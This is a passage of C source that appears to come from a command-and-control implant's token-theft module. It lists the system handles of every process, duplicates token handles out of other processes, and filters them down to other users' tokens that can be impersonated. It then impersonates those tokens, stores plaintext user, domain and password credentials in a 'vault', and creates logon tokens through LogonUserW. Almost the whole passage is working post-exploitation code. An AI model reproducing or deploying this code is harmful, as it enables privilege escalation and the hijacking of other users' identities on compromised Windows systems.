ProcessID );\n\n            NtStatus = SysNtOpenProcessToken( hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hTokenDup );\n            if ( NT_SUCCESS( NtStatus ) )\n            {\n                SysNtClose( hProcess );\n                return hTokenDup;\n            }\n            else\n            {\n                PRINTF( \"NtOpenProcessToken: Failed:[%08x : %ld]\\n\", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) )\n                PACKAGE_ERROR_NTSTATUS( NtStatus )\n            }\n        }\n    }\n    else\n    {\n        PRINTF( \"ProcessOpen: Failed:[%ld]\\n\", NtGetLastError() )\n        PACKAGE_ERROR_WIN32\n    }\n\n    if ( hProcess ) {\n        SysNtClose( hProcess );\n    }\n\n    return NULL;\n}\n\nBOOL TokenRemove( DWORD TokenID )\n{\n    PRINTF( \"Token Remove => %d\\n\", TokenID )\n\n    PTOKEN_LIST_DATA TokenList  = NULL;\n    PTOKEN_LIST_DATA TokenItem  = NULL;\n\n    TokenItem = TokenGet( TokenID );\n    TokenList = Instance->Tokens.Vault;\n\n    if ( ( ! TokenList ) || ( ! TokenItem ) )\n        return FALSE;\n\n    if ( Instance->Tokens.Vault == TokenItem )\n    {\n        PUTS( \"Its first item\" )\n        TokenItem = Instance->Tokens.Vault->NextToken;\n\n        if ( Instance->Tokens.Impersonate && Instance->Tokens.Token->Handle == Instance->Tokens.Vault->Handle )\n            TokenImpersonate( FALSE );\n\n        if ( Instance->Tokens.Vault->Handle )\n        {\n            SysNtClose( Instance->Tokens.Vault->Handle );\n            Instance->Tokens.Vault->Handle = NULL;\n        }\n\n        if ( Instance->Tokens.Vault->DomainUser )\n        {\n            MemSet( Instance->Tokens.Vault->DomainUser, 0, StringLengthW( Instance->Tokens.Vault->DomainUser ) * sizeof( WCHAR ) );\n            Instance->Win32.LocalFree( Instance->Tokens.Vault->DomainUser );\n            Instance->Tokens.Vault->DomainUser = NULL;\n        }\n\n        if ( Instance->Tokens.Vault->lpUser )\n        {\n            MemSet( Instance->Tokens.Vault->lpUser, 0, StringLengthW( Instance->Tokens.Vault->lpUser ) * sizeof( WCHAR ) );\n            Instance->Win32.LocalFree( Instance->Tokens.Vault->lpUser );\n            Instance->Tokens.Vault->lpUser = NULL;\n        }\n\n        if ( Instance->Tokens.Vault->lpDomain )\n        {\n            MemSet( Instance->Tokens.Vault->lpDomain, 0, StringLengthW( Instance->Tokens.Vault->lpDomain ) * sizeof( WCHAR ) );\n            Instance->Win32.LocalFree( Instance->Tokens.Vault->lpDomain );\n            Instance->Tokens.Vault->lpDomain = NULL;\n        }\n\n        if ( Instance->Tokens.Vault->lpPassword )\n        {\n            MemSet( Instance->Tokens.Vault->lpPassword, 0, StringLengthW( Instance->Tokens.Vault->lpPassword ) * sizeof( WCHAR ) );\n            Instance->Win32.LocalFree( Instance->Tokens.Vault->lpPassword );\n            Instance->Tokens.Vault->lpPassword = NULL;\n        }\n\n        MemSet( Instance->Tokens.Vault, 0, sizeof( TOKEN_LIST_DATA ) );\n        Instance->Win32.LocalFree( Instance->Tokens.Vault );\n\n        Instance->Tokens.Vault = TokenItem;\n\n        return TRUE;\n    }\n\n    do\n    {\n        if ( TokenList )\n        {\n            if ( TokenList->NextToken == TokenItem )\n            {\n                PUTS( \"Found TokenItem\" )\n\n                TokenList->NextToken = TokenItem->NextToken;\n\n                if ( Instance->Tokens.Impersonate && Instance->Tokens.Token->Handle == TokenItem->Handle )\n                    TokenImpersonate( FALSE );\n\n                if ( TokenItem->Handle )\n                {\n                    SysNtClose( TokenItem->Handle );\n                    TokenItem->Handle = NULL;\n                }\n\n                if ( TokenItem->DomainUser )\n                {\n                    MemSet( TokenItem->DomainUser, 0, StringLengthW( TokenItem->DomainUser ) * sizeof( WCHAR ) );\n                    Instance->Win32.LocalFree( TokenItem->DomainUser );\n                    TokenItem->DomainUser = NULL;\n                }\n\n                if ( TokenItem->lpUser )\n                {\n                    MemSet( TokenItem->lpUser, 0, StringLengthW( TokenItem->lpUser ) * sizeof( WCHAR ) );\n                    Instance->Win32.LocalFree( TokenItem->lpUser );\n                    TokenItem->lpUser = NULL;\n                }\n\n                if ( TokenItem->lpDomain )\n                {\n                    MemSet( TokenItem->lpDomain, 0, StringLengthW( TokenItem->lpDomain ) * sizeof( WCHAR ) );\n                    Instance->Win32.LocalFree( TokenItem->lpDomain );\n                    TokenItem->lpDomain = NULL;\n                }\n\n                if ( TokenItem->lpPassword )\n                {\n                    MemSet( TokenItem->lpPassword, 0, StringLengthW( TokenItem->lpPassword ) * sizeof( WCHAR ) );\n                    Instance->Win32.LocalFree( TokenItem->lpPassword );\n                    TokenItem->lpPassword = NULL;\n                }\n\n                MemSet( TokenItem, 0, sizeof( TOKEN_LIST_DATA ) );\n                Instance->Win32.LocalFree( TokenItem );\n                TokenItem = NULL;\n\n                return TRUE;\n            }\n            else\n                TokenList = TokenList->NextToken;\n        }\n        else\n            return FALSE;\n    } while ( TRUE );\n}\n\nHANDLE TokenMake( LPWSTR User, LPWSTR Password, LPWSTR Domain, DWORD LogonType )\n{\n    HANDLE hToken = NULL;\n\n    PRINTF( \"TokenMake( %ls, %ls, %ls, %d )\\n\", User, Password, Domain, LogonType )\n\n    if ( ! TokenRevSelf() )\n    {\n        PRINTF( \"Failed to revert to self: Error:[%d]\\n\", NtGetLastError() )\n        PACKAGE_ERROR_WIN32\n        // TODO: at this point should I return NULL or just continue ? For now i just continue.\n    }\n\n    if ( ! Instance->Win32.LogonUserW( User, Domain, Password, LogonType, LogonType == LOGON32_LOGON_NEW_CREDENTIALS ? LOGON32_PROVIDER_WINNT50 : LOGON32_PROVIDER_DEFAULT, &hToken ) )\n    {\n        PUTS( \"LogonUserW: Failed\" )\n        PACKAGE_ERROR_WIN32\n    }\n\n    return hToken;\n}\n\n/*!\n * get current process/thread token\n * @return\n */\nHANDLE TokenCurrentHandle(\n    VOID\n) {\n    HANDLE   Token    = NULL;\n    NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;\n\n    if ( ! NT_SUCCESS( NtStatus = SysNtOpenThreadToken( NtCurrentThread(), TOKEN_QUERY, TRUE, &Token ) ) )\n    {\n        if ( NtStatus != STATUS_NO_TOKEN )\n        {\n            PRINTF( \"NtOpenThreadToken: Failed:[%08x : %ld]\\n\", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) );\n            NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );\n            return NULL;\n        }\n\n        if ( ! NT_SUCCESS( NtStatus = SysNtOpenProcessToken( NtCurrentProcess(), TOKEN_QUERY, &Token ) ) )\n        {\n            PRINTF( \"NtOpenProcessToken: Failed:[%08x : %ld]\\n\", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) );\n            NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );\n            return NULL;\n        }\n    }\n\n    return Token;\n}\n\nBOOL TokenElevated(\n    IN HANDLE Token\n) {\n    TOKEN_ELEVATION Data  = { 0 };\n    DWORD           Size  = sizeof( TOKEN_ELEVATION );\n    BOOL            Admin = FALSE;\n\n    if ( NT_SUCCESS( SysNtQueryInformationToken( Token, TokenElevation, &Data, Size, &Size ) ) ) {\n        Admin = U_PTR( Data.TokenIsElevated );\n    }\n\n    return Admin;\n}\n\nPTOKEN_LIST_DATA TokenGet(\n    IN DWORD TokenID\n) {\n    PTOKEN_LIST_DATA TokenList  = Instance->Tokens.Vault;\n    DWORD            TokenIndex = 0;\n\n    for ( TokenIndex = 0; TokenIndex < TokenID && TokenList && TokenList->NextToken; ++TokenIndex ) {\n        TokenList = TokenList->NextToken;\n    }\n\n    if ( TokenIndex != TokenID ) {\n        return NULL;\n    }\n\n    return TokenList;\n}\n\nVOID TokenClear(\n    VOID\n) {\n    PTOKEN_LIST_DATA TokenList  = Instance->Tokens.Vault;\n    DWORD            TokenIndex = 0;\n\n    TokenImpersonate( FALSE );\n\n    do {\n        if ( TokenList != NULL ) {\n            TokenList = TokenList->NextToken;\n        } else {\n            break;\n        }\n        TokenIndex++;\n    } while ( TRUE );\n\n    for ( int i = TokenIndex - 1; i >= 0; i-- ) {\n        TokenRemove( i );\n    }\n\n    Instance->Tokens.Impersonate = FALSE;\n    Instance->Tokens.Vault       = NULL;\n    Instance->Tokens.Token       = NULL;\n}\n\nBOOL TokenImpersonate(\n    IN BOOL Impersonate\n) {\n    if ( Impersonate && ! Instance->Tokens.Impersonate && Instance->Tokens.Token )\n    {\n        // impersonate the current token.\n        Instance->Tokens.Impersonate =  SysImpersonateLoggedOnUser( Instance->Tokens.Token->Handle );\n        return Instance->Tokens.Impersonate;\n    }\n    else if ( ! Impersonate && Instance->Tokens.Impersonate ) {\n    {\n        // stop impersonating\n        Instance->Tokens.Impersonate = FALSE;\n        return TokenRevSelf();\n    }\n    } else if ( Impersonate && ! Instance->Tokens.Token ) {\n        return TRUE; // there is no token to impersonate in the first place\n    } else if ( Impersonate && Instance->Tokens.Impersonate ) {\n        return TRUE; // we are already impersonating\n    } else if ( ! Impersonate && ! Instance->Tokens.Impersonate ) {\n        return TRUE; // we are already not impersonating\n    }\n\n    return FALSE;\n}\n\nVOID AddUserToken(\n    _Inout_ PUSER_TOKEN_DATA NewToken,\n    _Inout_ PUSER_TOKEN_DATA Tokens,\n    _Inout_ PDWORD           NumTokens\n) {\n    for ( DWORD i = 0; i < *NumTokens; ++i )\n    {\n        /* we consider two tokens the equal if they have the same:\n         * - username\n         * - type\n         * - integrity\n         * - impersonation level\n         * also, we do not include tokens with the same user as our own\n         * and try to include a primary token if we can\n         */\n        if ( ! StringCompareW( Tokens[i].username, NewToken->username) &&\n               Tokens[i].TokenType == NewToken->TokenType &&\n               Tokens[i].integrity_level == NewToken->integrity_level &&\n               Tokens[i].impersonation_level == NewToken->impersonation_level &&\n               ( ( Tokens[i].localHandle == 0 && NewToken->localHandle == 0 ) ||\n                 ( Tokens[i].localHandle != 0 && NewToken->localHandle != 0 ) ) )\n        {\n            // a token similar to this one already exists\n            return;\n        }\n    }\n\n    // TODO: while unlikely, this could overflow\n    StringCopyW( Tokens[ *NumTokens ].username, NewToken->username );\n    Tokens[ *NumTokens ].dwProcessID = NewToken->dwProcessID;\n    Tokens[ *NumTokens ].localHandle = NewToken->localHandle;\n    Tokens[ *NumTokens ].impersonation_level = NewToken->impersonation_level;\n    Tokens[ *NumTokens ].TokenType = NewToken->TokenType;\n    Tokens[ *NumTokens ].integrity_level = NewToken->integrity_level;\n\n    (*NumTokens)++;\n}\n\nBOOL IsImpersonationToken( HANDLE token )\n{\n    HANDLE temp_token              = NULL;\n    BOOL   ReturnValue             = FALSE;\n    LPVOID TokenImpersonationInfo  = NULL;\n    DWORD  returned_tokinfo_length = 0;\n\n    TokenImpersonationInfo = Instance->Win32.LocalAlloc( LPTR, BUF_SIZE );\n    if ( ! TokenImpersonationInfo )\n        return FALSE;\n\n    if ( Instance->Win32.GetTokenInformation( token, TokenImpersonationLevel, TokenImpersonationInfo, BUF_SIZE, &returned_tokinfo_length ) )\n    {\n        if ( *( ( SECURITY_IMPERSONATION_LEVEL* ) TokenImpersonationInfo ) >= SecurityImpersonation )\n            ReturnValue = TRUE;\n        else\n            ReturnValue = FALSE;\n    }\n    else\n    {\n        ReturnValue = TokenDuplicate( token, TOKEN_ALL_ACCESS, SecurityImpersonation, TokenImpersonation, &temp_token );\n        SysNtClose( temp_token );\n    }\n\n    if ( TokenImpersonationInfo )\n        Instance->Win32.LocalFree( TokenImpersonationInfo );\n\n    return ReturnValue;\n}\n\n// https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/extensions/incognito/list_tokens.c\nBOOL CanTokenBeImpersonated( IN HANDLE hToken )\n{\n    BOOL   Success = FALSE;\n    HANDLE hImp    = NULL;\n\n    // try to impersonate the token handle\n    if ( ! SysImpersonateLoggedOnUser( hToken ) )\n        return FALSE;\n\n    // try to open a handle to the current token\n    Success = Instance->Win32.OpenThreadToken( NtCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hImp );\n\n    TokenRevSelf();\n\n    if ( ! Success )\n        return FALSE;\n\n    // make sure the token kept the impersonate status\n    Success = IsImpersonationToken( hImp );\n\n    SysNtClose( hImp );\n\n    if ( ! Success )\n        return FALSE;\n\n    return TRUE;\n}\n\nVOID ProcessUserToken(\n    IN HANDLE hToken,\n    IN DWORD ProcessId,\n    IN HANDLE handle,\n    IN BOOL CheckUsername,\n    IN PBUFFER CurrentUser,\n    _Inout_ PUSER_TOKEN_DATA Tokens,\n    _Inout_ PDWORD           NumTokens)\n{\n    USER_TOKEN_DATA NewToken           = { 0 };\n    DWORD           TokenType          = 0;\n    DWORD           Integrity          = 0;\n    DWORD           ImpersonationLevel = 0;\n    BUFFER          UserDomain         = { 0 };\n\n    // get the type, integrity and impersonation level for this token\n    if ( GetTokenInfo( hToken, &TokenType, &Integrity, &ImpersonationLevel, &UserDomain ) )\n    {\n        // make sure the token can be impersonated\n        if ( TokenType          == TokenPrimary          ||\n             ImpersonationLevel == SecurityImpersonation ||\n             ImpersonationLevel == SecurityDelegation)\n        {\n            // we avoid tokens from our own user as they are not relevant\n            if ( IsNotCurrentUser( CheckUsername, CurrentUser, &UserDomain ) )\n            {\n                if ( CanTokenBeImpersonated( hToken ) )\n                {\n                    // create a new token structure and store it\n                    StringCopyW( NewToken.username, UserDomain.Buffer );\n                    NewToken.dwProcessID         = ProcessId;\n                    NewToken.localHandle         = handle;\n                    NewToken.integrity_level     = Integrity;\n                    NewToken.impersonation_level = ImpersonationLevel;\n                    NewToken.TokenType           = TokenType;\n\n                    // save the new token (if we don't already have one like it)\n                    AddUserToken(&NewToken, Tokens, NumTokens );\n                }\n\n            }\n        }\n\n        DATA_FREE( UserDomain.Buffer, UserDomain.Length );\n    }\n}\n\n// call NtQueryObject with ObjectTypesInformation\nBOOL QueryObjectTypesInfo( POBJECT_TYPES_INFORMATION* pObjectTypes, PULONG pObjectTypesSize )\n{\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    ULONG BufferLength = 0x1000;\n    ULONG PrevBufferLength = BufferLength;\n    POBJECT_TYPES_INFORMATION ObjTypeInformation = NULL;\n\n    do\n    {\n        PrevBufferLength   = BufferLength;\n        ObjTypeInformation = Instance->Win32.LocalAlloc( LPTR, BufferLength );\n\n        status = SysNtQueryObject(\n            NULL,\n            ObjectTypesInformation,\n            ObjTypeInformation,\n            BufferLength,\n            &BufferLength);\n        if ( NT_SUCCESS( status ) )\n        {\n            *pObjectTypes = ObjTypeInformation;\n            *pObjectTypesSize = BufferLength;\n            return TRUE;\n        }\n\n        DATA_FREE( ObjTypeInformation, PrevBufferLength );\n    } while (status == STATUS_INFO_LENGTH_MISMATCH);\n\n    return FALSE;\n}\n\n// get index of object type 'Token'\nBOOL GetTypeIndexToken( OUT PULONG TokenTypeIndex )\n{\n    BOOL ret_val = FALSE;\n    BOOL success = FALSE;\n    POBJECT_TYPES_INFORMATION ObjectTypes = NULL;\n    POBJECT_TYPE_INFORMATION_V2 CurrentType = NULL;\n    ULONG ObjectTypesSize = 0;\n\n    success = QueryObjectTypesInfo(\n        &ObjectTypes,\n        &ObjectTypesSize);\n    if (!success)\n        goto cleanup;\n\n    CurrentType = (POBJECT_TYPE_INFORMATION_V2)OBJECT_TYPES_FIRST_ENTRY( ObjectTypes );\n    for (ULONG i = 0; i < ObjectTypes->NumberOfTypes && CurrentType; i++)\n    {\n        if ( CurrentType->TypeName.Buffer            &&\n             CurrentType->TypeName.Length    == 10   &&\n             CurrentType->TypeName.Buffer[0] == L'T' &&\n             CurrentType->TypeName.Buffer[1] == L'o' &&\n             CurrentType->TypeName.Buffer[2] == L'k' &&\n             CurrentType->TypeName.Buffer[3] == L'e' &&\n             CurrentType->TypeName.Buffer[4] == L'n' )\n        {\n            *TokenTypeIndex = i + 2;\n            ret_val = TRUE;\n            break;\n        }\n\n        CurrentType = (POBJECT_TYPE_INFORMATION_V2)OBJECT_TYPES_NEXT_ENTRY( CurrentType );\n    }\n\ncleanup:\n    DATA_FREE( ObjectTypes, ObjectTypesSize );\n\n    return ret_val;\n}\n\nBOOL GetTokenInfo(\n    IN HANDLE hToken,\n    OUT PDWORD pTokenType,\n    OUT PDWORD pIntegrity,\n    OUT PDWORD pImpersonationLevel,\n    OUT PBUFFER UserDomain)\n{\n    BOOL                          ReturnValue                   = FALSE;\n    DWORD                         returned_tokinfo_length       = 0;\n    DWORD                         cbSize                        = 0;\n    DWORD                         returned_tokimp_length        = 0;\n    PTOKEN_STATISTICS             TokenStatisticsInformation    = NULL;\n    PTOKEN_MANDATORY_LABEL        TokenIntegrityInformation     = NULL;\n    PSECURITY_IMPERSONATION_LEVEL TokenImpersonationInformation = NULL;\n\n    if ( ! TokenQueryOwner( hToken, UserDomain, TOKEN_OWNER_FLAG_DEFAULT ) )\n    {\n        PUTS(\"TokenQueryOwner failed\")\n        goto Cleanup;\n    }\n\n    Instance->Win32.GetTokenInformation( hToken, TokenStatistics, NULL, 0, &returned_tokinfo_length );\n    TokenStatisticsInformation = Instance->Win32.LocalAlloc( LPTR, returned_tokinfo_length );\n\n    if ( Instance->Win32.GetTokenInformation( hToken, TokenStatistics, TokenStatisticsInformation, returned_tokinfo_length, &returned_tokinfo_length ) )\n    {\n        // save the token type\n        *pTokenType = TokenStatisticsInformation->TokenType;\n\n        if ( TokenStatisticsInformation->TokenType == TokenPrimary )\n        {\n            // get the token integrity level\n            Instance->Win32.GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cbSize );\n            TokenIntegrityInformation = Instance->Win32.LocalAlloc( LPTR, cbSize );\n\n            if ( Instance->Win32.GetTokenInformation( hToken, TokenIntegrityLevel, TokenIntegrityInformation, cbSize, &cbSize ) )\n            {\n                *pIntegrity = *Instance->Win32.GetSidSubAuthority(TokenIntegrityInformation->Label.Sid, (DWORD)(UCHAR)(*Instance->Win32.GetSidSubAuthorityCount(TokenIntegrityInformation->Label.Sid) - 1));\n                ReturnValue = TRUE;\n            }\n            else\n            {\n                PUTS( \"GetTokenInformation failed\" )\n            }\n        }\n        else if (TokenStatisticsInformation->TokenType == TokenImpersonation)\n        {\n            // get the token impersonation level\n            Instance->Win32.GetTokenInformation( hToken, TokenImpersonationLevel, NULL, 0, &returned_tokimp_length );\n            TokenImpersonationInformation = Instance->Win32.LocalAlloc( LPTR, returned_tokimp_length );\n\n            if ( Instance->Win32.GetTokenInformation( hToken, TokenImpersonationLevel, TokenImpersonationInformation, returned_tokimp_length, &returned_tokimp_length ) )\n            {\n                *pImpersonationLevel = * ( ( SECURITY_IMPERSONATION_LEVEL * ) TokenImpersonationInformation );\n                ReturnValue = TRUE;\n            }\n            else\n            {\n                PUTS( \"GetTokenInformation failed\" )\n            }\n        }\n    }\n    else\n    {\n        PUTS( \"GetTokenInformation failed\" )\n    }\n\nCleanup:\n    DATA_FREE( TokenStatisticsInformation,returned_tokinfo_length );\n    DATA_FREE( TokenIntegrityInformation,cbSize );\n    DATA_FREE( TokenImpersonationInformation,returned_tokimp_length );\n    if ( ! ReturnValue )\n    {\n        DATA_FREE( UserDomain->Buffer, UserDomain->Length );\n    }\n\n    return ReturnValue;\n}\n\n// check if a PID is included in the process list\nBOOL ProcessIsIncluded( IN PPROCESS_LIST process_list, IN ULONG ProcessId )\n{\n    for (ULONG i = 0; i < process_list->Count; i++)\n    {\n        if (process_list->ProcessId[i] == ProcessId)\n            return TRUE;\n    }\n    return FALSE;\n}\n\n// obtain a list of PIDs from a handle table\nBOOL GetProcessesFromHandleTable( IN PSYSTEM_HANDLE_INFORMATION handleTableInformation, OUT PPROCESS_LIST* pprocess_list )\n{\n    BOOL ret_val = FALSE;\n    PPROCESS_LIST process_list = NULL;\n\n    process_list = Instance->Win32.LocalAlloc( LPTR, sizeof(PROCESS_LIST) );\n\n    PSYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo;\n    for (ULONG i = 0; i < handleTableInformation->NumberOfHandles; i++)\n    {\n        handleInfo = (PSYSTEM_HANDLE_TABLE_ENTRY_INFO)&handleTableInformation->Handles[i];\n\n        if ( ! ProcessIsIncluded( process_list, handleInfo->UniqueProcessId ) )\n        {\n            if (process_list->Count + 1 > MAX_PROCESSES)\n            {\n                PUTS(\"Too many processes, please increase MAX_PROCESSES\");\n                goto cleanup;\n            }\n            process_list->ProcessId[process_list->Count++] = handleInfo->UniqueProcessId;\n        }\n    }\n\n    *pprocess_list = process_list;\n    ret_val = TRUE;\n\ncleanup:\n    if ( ! ret_val && process_list )\n    {\n        DATA_FREE(process_list, sizeof(PROCESS_LIST));\n    }\n\n    return ret_val;\n}\n\n// get all handles in the system\nBOOL GetAllHandles( OUT PSYSTEM_HANDLE_INFORMATION* phandle_table, OUT PULONG phandle_table_size )\n{\n    BOOL ret_val = FALSE;\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    ULONG buffer_size = sizeof(SYSTEM_HANDLE_INFORMATION);\n    ULONG prev_buffer_size = buffer_size;\n    PVOID handleTableInformation = NULL;\n\n    handleTableInformation = Instance->Win32.LocalAlloc( LPTR, buffer_size );\n\n    while (TRUE)\n    {\n        //get information of all the existing handles\n        status = SysNtQuerySystemInformation(\n            SystemHandleInformation,\n            handleTableInformation,\n            buffer_size,\n            &buffer_size);\n        if ( status == STATUS_INFO_LENGTH_MISMATCH )\n        {\n            // the buffer was too small, buffer_size now has the new length\n            DATA_FREE( handleTableInformation, prev_buffer_size );\n            prev_buffer_size = buffer_size;\n            handleTableInformation = Instance->Win32.LocalAlloc( LPTR, buffer_size );\n            continue;\n        }\n        if ( ! NT_SUCCESS( status ) )\n            goto cleanup;\n\n        break;\n    }\n\n    *phandle_table = (PSYSTEM_HANDLE_INFORMATION)handleTableInformation;\n    *phandle_table_size = buffer_size;\n    ret_val = TRUE;\n\ncleanup:\n    if ( ! ret_val && handleTableInformation )\n    {\n        DATA_FREE( handleTableInformation, buffer_size );\n    }\n\n    return ret_val;\n}\n\n/* When finding tokens, we are ignoring tokens from the current user as they don't matter much */\nBOOL IsNotCurrentUser( BOOL DoCheck, PBUFFER UserA, PBUFFER UserB )\n{\n    if ( DoCheck && ! StringCompareW( UserA->Buffer, UserB->Buffer ) )\n        return FALSE;\n\n    return TRUE;\n}\n\nBOOL ListTokens( PUSER_TOKEN_DATA* pTokens, PDWORD pNumTokens )\n{\n    BOOL                            ReturnValue                = FALSE;\n    NTSTATUS                        NtStatus                   = STATUS_UNSUCCESSFUL;\n    HANDLE                          hProcess                   = NULL;\n    HANDLE                          hToken                     = NULL;\n    CLIENT_ID                       ProcID                     = { 0 };\n    OBJECT_ATTRIBUTES               ObjAttr                    = { sizeof( ObjAttr ) };\n    PUSER_TOKEN_DATA                Tokens                     = NULL;\n    DWORD                           NumTokens                  = 0;\n    ULONG                           TokenTypeIndex             = 0;\n    PSYSTEM_HANDLE_INFORMATION      handleTableInformation     = NULL;\n    ULONG                           handleTableInformationSize = 0;\n    PPROCESS_LIST                   ProcessList                = NULL;\n    ULONG                           ProcessId                  = 0;\n    BUFFER                          CurrentUser                = { 0 };\n    HANDLE                          hOwnToken                  = NULL;\n    BOOL                            CheckUsername              = FALSE;\n    PSYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo                 = NULL;\n\n    // try to get our own username, so we can avoid our own tokens\n    if ( ( hOwnToken = TokenCurrentHandle() ) )\n    {\n        if ( TokenQueryOwner( hOwnToken, &CurrentUser, TOKEN_OWNER_FLAG_DEFAULT ) )\n        {\n            CheckUsername = TRUE;\n        }\n        SysNtClose( hOwnToken ); hOwnToken = NULL;\n    }\n\n    TokenSetSeDebugPriv( TRUE );\n\n    // get the index of the object type 'Token'\n    if ( ! GetTypeIndexToken( &TokenTypeIndex ) )\n        goto Cleanup;\n\n    // get the entire handle table\n    if ( ! GetAllHandles( &handleTableInformation, &handleTableInformationSize ) )\n        goto Cleanup;\n\n    // obtain all PIDs from the handle table\n    if ( ! GetProcessesFromHandleTable( handleTableInformation, &ProcessList ) )\n        goto Cleanup;\n\n    // allocate the USER_TOKEN_DATA table\n    Tokens = Instance->Win32.LocalAlloc( LPTR, BUF_SIZE * sizeof( USER_TOKEN_DATA ) );\n    if ( ! Tokens )\n        goto Cleanup;\n\n    // loop over each ProcessId\n    for ( ULONG i = 0; i < ProcessList->Count; i++ )\n    {\n        ProcessId = ProcessList->ProcessId[i];\n\n        if ( ProcessId == Instance->Session.PID )\n            continue;\n        if ( ProcessId == 0 )\n            continue;\n        if ( ProcessId == 4 )\n            continue;\n\n        // open a handle to the process\n        hProcess = ProcessOpen( ProcessId, PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE );\n        if ( ! hProcess )\n            continue;\n\n        // loop over each handle from this process\n        for ( ULONG j = 0; j < handleTableInformation->NumberOfHandles; j++ )\n        {\n            handleInfo = (PSYSTEM_HANDLE_TABLE_ENTRY_INFO)&handleTableInformation->Handles[j];\n\n            // make sure this handle is from the current ProcessId\n            if ( handleInfo->UniqueProcessId != ProcessId )\n                continue;\n\n            // make sure the handle is of type 'Token'\n            if ( handleInfo->ObjectTypeIndex != TokenTypeIndex )\n                continue;\n\n            // duplicate the token\n            hToken = NULL;\n            NtStatus = SysNtDuplicateObject(\n                hProcess,\n                (HANDLE)(DWORD_PTR)handleInfo->HandleValue,\n                NtCurrentProcess(),\n                &hToken,\n                0,\n                0,\n                DUPLICATE_SAME_ACCESS);\n            if ( NT_SUCCESS( NtStatus ) )\n            {\n                ProcessUserToken( hToken, ProcessId, (HANDLE)(DWORD_PTR)handleInfo->HandleValue, CheckUsername, &CurrentUser, Tokens, &NumTokens );\n\n                SysNtClose( hToken ); hToken = NULL;\n            }\n        }\n\n        // Also process primary tokens\n        NtStatus = SysNtOpenProcessToken( hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken );\n        if ( NT_SUCCESS( NtStatus ) )\n        {\n            ProcessUserToken( hToken, ProcessId, NULL, CheckUsername, &CurrentUser, Tokens, &NumTokens );\n\n            SysNtClose( hToken ); hToken = NULL;\n        }\n\n        SysNtClose( hProcess ); hProcess = NULL;\n    }\n\n    *pTokens = Tokens;\n    *pNumTokens = NumTokens;\n    ReturnValue = TRUE;\n\nCleanup:\n    if ( ! ReturnValue && Tokens ) {\n        DATA_FREE( Tokens, NumTokens * sizeof( USER_TOKEN_DATA ) );\n    }\n\n    DATA_FREE( handleTableInformation, handleTableInformationSize );\n\n    DATA_FREE( ProcessList, sizeof( PROCESS_LIST ) )\n\n    DATA_FREE( CurrentUser.Buffer, CurrentUser.Length );\n\n    return ReturnValue;\n}\n\nBOOL ImpersonateTokenFromVault(\n    IN DWORD TokenID\n) {\n    PTOKEN_LIST_DATA TokenData = NULL;\n    BOOL             Success   = FALSE;\n\n    TokenData = TokenGet( TokenID );\n\n    if ( ! TokenData ) {\n        PUTS( \"Token not found in vault.\" )\n        PackageTransmitError( CALLBACK_ERROR_TOKEN, 0x1 );\n        goto Cleanup;\n    }\n\n    if ( ! ImpersonateTokenInStore( TokenData ) )\n        goto Cleanup;\n\n    Success = TRUE;\n\nCleanup:\n    return Success;\n}\n\n// https://doxygen.reactos.org/d1/d72/dll_2win32_2advapi32_2sec_2misc_8c_source.html#l00152\nBOOL SysImpersonateLoggedOnUser( HANDLE hToken )\n{\n    SECURITY_QUALITY_OF_SERVICE Qos              = { 0 };\n    OBJECT_ATTRIBUTES           ObjectAttributes = { 0 };\n    HANDLE                      NewToken         = NULL;\n    TOKEN_TYPE                  Type             = 0;\n    ULONG                       ReturnLength     = 0;\n    BOOL                        Duplicated       = FALSE;\n    NTSTATUS                    Status           = STATUS_UNSUCCESSFUL;\n\n    /* Get the token type */\n    Status = SysNtQueryInformationToken(\n        hToken,\n        TokenType,\n        &Type,\n        sizeof(TOKEN_TYPE),\n        &ReturnLength);\n    if ( ! NT_SUCCESS( Status ) )\n    {\n        PRINTF( \"NtQueryInformationToken: Failed:[%08x : %ld]\\n\", Status, Instance->Win32.RtlNtStatusToDosError( Status ) );\n        return FALSE;\n    }\n\n    if (Type == TokenPrimary)\n    {\n        /* Create a duplicate impersonation token */\n        Qos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);\n        Qos.ImpersonationLevel = SecurityImpersonation;\n        Qos.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING;\n        Qos.EffectiveOnly = FALSE;\n\n        ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);\n        ObjectAttributes.RootDirectory = NULL;\n        ObjectAttributes.ObjectName = NULL;\n        ObjectAttributes.Attributes = 0;\n        ObjectAttributes.SecurityDescriptor = NULL;\n        ObjectAttributes.SecurityQualityOfService = &Qos;\n\n        Status = SysNtDuplicateToken(\n            hToken,\n            TOKEN_IMPERSONATE | TOKEN_QUERY,\n            &ObjectAttributes,\n            FALSE,\n            TokenImpersonation,\n            &NewToken);\n        if ( ! NT_SUCCESS( Status ) )\n        {\n            return FALSE;\n        }\n\n        Duplicated = TRUE;\n    }\n    else\n    {\n        /* User the original impersonation token */\n        NewToken = hToken;\n        Duplicated = FALSE;\n    }\n\n    /* Impersonate the the current thread */\n    Status = SysNtSetInformationThread(\n        NtCurrentThread(),\n        ThreadImpersonationToken,\n        &NewToken,\n        sizeof(HANDLE));\n\n    if (Duplicated != FALSE)\n    {\n        SysNtClose(NewToken);\n    }\n\n    if ( ! NT_SUCCESS( Status ) )\n    {\n        PRINTF( \"NtSetInformationThread: Failed:[%08x : %ld]\\n\", Status, Instance->Win32.RtlNtStatusToDosError( Status ) );\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\nBOOL ImpersonateTokenInStore(\n    IN PTOKEN_LIST_DATA TokenData\n) {\n    BOOL     Success  = FALSE;\n    NTSTATUS NtStatus = 